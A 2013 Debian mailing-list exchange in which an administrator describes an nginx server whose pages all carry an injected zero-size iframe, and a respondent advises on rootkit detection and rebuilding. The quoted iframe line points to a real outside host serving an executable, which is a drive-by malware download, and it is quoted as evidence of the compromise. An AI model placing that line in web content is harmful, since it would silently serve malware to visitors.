Re: debian wheezy i386 nginx iframe rootkit
On Thu, Sep 12, 2013 at 9:39 AM, E Frank Ball III <frankb@efball.com> wrote:
> On Thu, Sep 12, 2013 at 09:13:46AM +0900, Joel Rees wrote:
> > On Thu, Sep 12, 2013 at 7:48 AM, E Frank Ball III <frankb@efball.com> wrote:
> > > Last fall there was a debian 64-bit / nginx rootkit going around,
> > > now I've been hit with what sounds similar but on 32-bit wheezy.
> > >
> > > All files served by nginx have this line inserted at the top:
> > >
> > > <iframe src= http://122.226.137.123:1111/yixi.exe width=0 height=0></iframe>
> > >
> > > I tar'd up /lib/modules/3.2.0-4-686-pae/kernel, copied it to another
> > > Debian Wheezy i386 machine in a safe environment and did a diff -r. No
> > > difference.
> > >
> > > No ismod line in /etc/rc.local
> > >
> > > I haven't been able to find anything. Googling doesn't show anything
> > > similar for debian wheezy i386, only sqeeze 64-bit.
> > >
> > > I was using nginx-light from dotdeb.org. I uninstalled nginx and tried
> > > the nginx-light from debian wheezy but it made no difference.
>
> > Just out of curiosity, did you back up nginx and check it as well?
> > --
> > Joel Rees
>
> No, I just uninstalled nginx from dotdeb and installed from Debian.
I suppose you're wondering whether to regret that?
> The webpages are all static and remain unchanged, the nginx config files
> are OK. The new line is added by some process I can't find.
No surprise in that. Malware is getting better at hiding itself these days.
> The lynx webrowser shows this as the first line of the webpages:
Local on the machine in question or external?
> IFRAME: http://122.226.137.123:1111/yixi.exe
>
> It also appears in downloads using wget.
> "view source" in firefox or chrome show nothing amiss.
>
> It only appears on IPv4, not IPv6.
Again, are the browsers local to the machine in question or accessing
from the network?
> I do not have php installed.
Good. I enjoyed programming php, but if you can't trust the engine,
it's hard to justify writing an app on it.
> The http header is completely different:
>
> curl -I shows this:
> HTTP/1.1 200 OK
> Content-Type: text/html; charset=en_US.UTF-8
> Content-Length: 3634
>
> When it should look more like this:
> HTTP/1.1 200 OK
> Server: nginx/1.4.2
> Date: Wed, 11 Sep 2013 23:39:48 GMT
> Content-Type: text/html; charset=en_US.UTF-8
> Content-Length: 3291
> Last-Modified: Thu, 24 Jan 2013 21:30:28 GMT
> Connection: keep-alive
> Vary: Accept-Encoding
> ETag: "5101a7f4-cdb"
> Accept-Ranges: bytes
Okay, so, if it isn't something on an external box hijacking the IP
address of the box in question, it's a local process or set of
processes hijacking port 80 and trying unsuccessfully to be a
pass-through proxy.
> I installed chkrootkit, rkhunter, unhide.rb and they found nothing.
>
> E Frank Ball frankb@efball.com
Well, installing those after the unknown software is in place kind of
makes it hard for them to do their jobs. Among other things, the
system file map and checksums are going to reflect the unknown state
rather than the known good state.
Of course, if you have a serious rootkit in place, it's going to
hijack your detection/removal tools as soon as it sees them, so those
tools are not 100% infallible under the best conditions.
How much time/resources can you afford to spend on trying to pin the
intrusion vector down?
Although, I'd hesitate to use the box for anything important, even
after a complete wipe/install, unless the BIOS can be safely restored
from a write-protected backup image. And I'd try to be careful enough
during the install that if the exploit were repeated, I'd notice
immediately and thus be able to pin the thing more closely.
Maybe build the server as a VM and take snapshots as you go. Or
rebuild it on a different machine, with the old server reboot from a
live CD before each major step and use the tools on the live CD to
take the snapshots.
--
Joel Rees
Be careful where you see conspiracy.
Look first in your own heart.
Reply to: